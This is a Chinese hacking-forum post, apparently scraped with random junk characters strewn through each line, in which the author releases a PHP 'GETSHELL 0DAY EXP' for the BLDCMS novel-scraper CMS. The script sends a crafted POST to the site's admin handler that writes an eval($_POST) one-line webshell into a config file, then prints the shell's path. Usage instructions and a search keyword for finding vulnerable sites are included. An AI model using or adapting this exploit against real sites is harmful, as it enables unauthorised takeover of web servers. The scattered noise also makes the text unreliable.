之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞. r: c: T& W \ U
5 p9 X7 I* k. I; n% ?2 x& R5 L
& |4 |2 M% T" s, U话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 " j5 T( s- T7 `+ D: }2 W
) }% M& L8 \8 X5 v" h9 d6 y( \/ q' ]
既然都有人发了 我就把我之前写好的EXP放出来吧 m" C& P" u! y2 Y
8 S: h: K1 d2 g; c8 _view source print?01.php;">
! x" n; n' a' B( R. E$ M/ V# T& v02.<!--?php* Q2 @4 B' H& s8 X8 }. N, b& O
03.echo "-------------------------------------------------------------------8 g# n4 v( w& |
04.
' v0 z* e5 s( i; z% _05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
7 s" l8 S/ q( M5 K: s06. 7 [2 y& l+ x" o9 ~6 A0 A
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
3 O2 E- V% @0 K. f8 P( F, N08.
& @+ D0 c) j7 }% c; H' S09.QQ:981009941\r\n 2013.3.21\r\n / F$ _2 K1 S4 V. Y# N/ i* _. G0 G. m6 V
10. 9 b( q9 h" G+ O* e. V E
11.
! i0 f/ _. h3 y- X: D6 }12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
* T% W: e7 r1 |5 h* C" G" p. [4 o13. 3 k; r, j1 X _$ Q n9 [ g
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------0 _- \' J! k7 ^1 H" z8 i- z; q
15.
; a9 u+ x% ~) Y& y" M$ F16.--------------------------------------------------------------------\r\n";
, Y; V Y' n1 q2 e9 P" _6 C17.$url=$argv[1];) Q0 k7 ]5 d* M1 ^0 @. A
18.$dir=$argv[2];
_8 R+ L+ Y4 H7 @19.$pass=$argv[3];
8 V* k/ b( O& O20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';8 U( A4 ?" O. J
21.if (emptyempty($pass)||emptyempty($url))
1 n+ f4 ]7 q/ I& h% |22.{exit("请输入参数");}' o& J% a% r* Q+ P9 K
23.else& C3 w; ?) {. f4 G: R
24.{( p5 d: f+ X6 S z" S
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
. l) {. [ a. n) q9 y26.
( K7 [8 i7 g; C27.al;6 G+ U7 ?. b: s4 e) ^8 K
28.$length = strlen($fuckdata);7 k1 [) w4 ]" `4 R) |5 r
29.function getshell($url,$pass)
2 ? U% l! Q- s30.{
$ N% q6 H: D* l" P7 v2 q+ k31.global $url,$dir,$pass,$eval,$length,$fuckdata;% x/ p8 L$ A% _% K: [
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
; R, A- a Z/ y# ~2 C33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
( O, S& E/ X+ O& X* ]5 n34.$header .= "User-Agent: MSIE\r\n";8 \# G ?) U0 F
35.$header .= "Host:".$url."\r\n";
8 n2 m' X, _- ~2 C. |$ C1 {36.$header .= "Content-Length: ".$length."\r\n";0 T5 n6 T, e' }; w4 |4 G3 s, J5 B
37.$header .= "Connection: Close\r\n";
- d* q3 E: K" ^: n" c( @38.$header .="\r\n";8 D8 o& S$ J. e/ K" \1 t; K
39.$header .= $fuckdata."\r\n\r\n";6 `( F; Q2 w6 I; X& l( p
40.$fp = fsockopen($url, 80,$errno,$errstr,15);! h' W" b0 p; d; l9 g
41.if (!$fp)
$ v% z, F7 o; x) D8 }8 l' s5 x42.{4 j, A# l! y N( H" F" p+ G
43.exit ("利用失败:请检查指定目标是否能正常打开");
# u+ G! c$ {: T. b, e44.}
- |- U2 |$ \5 }" k1 e) ]45.else{ if (!fputs($fp,$header))
3 M/ j) v2 e; Q) H( ^2 Q7 _46.{exit ("利用失败");}
* c9 C9 O+ C* l' u47.else7 A& _3 L/ K# C$ o
48.{* |7 m/ c2 ]) C& w6 A
49.$receive = '';
5 d! g2 Q( k$ @! s% I% E4 q& E1 n% ]50.while (!feof($fp)) {
5 b( X# o4 ^! h! E6 V1 m% }51.$receive .= @fgets($fp, 1000);( Y; q: t, U/ h7 W7 c ~# K/ c
52.}' ]+ F" p t' V8 q
53.@fclose($fp);
; j! S0 o/ D7 I54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
* a/ h0 ?. R( R5 f7 S/ b55.
5 W* c7 I% z; p; @* O56.GPC是否=off)";
! I: R, a9 D" |) F3 ~57.}}* ?/ G4 B; M; H7 }5 z5 F
58.}" g# F/ P3 g& }" U* J- E7 U' ?
59.}
0 H4 z1 c4 ?. \5 D- x, L$ s60.getshell($url,$pass);4 `4 I: ?$ H- @7 l- V
61.?-->$ V, {# }: i, @/ j" r: Q. b
! l3 u9 G! ~' f+ K& B9 y
$ w# E* O- n- s8 y3 q6 h, { : l* d- d4 g8 O" R. O* @' \7 o
by 数据流
1 y6 w5 j" l2 e7 h; t |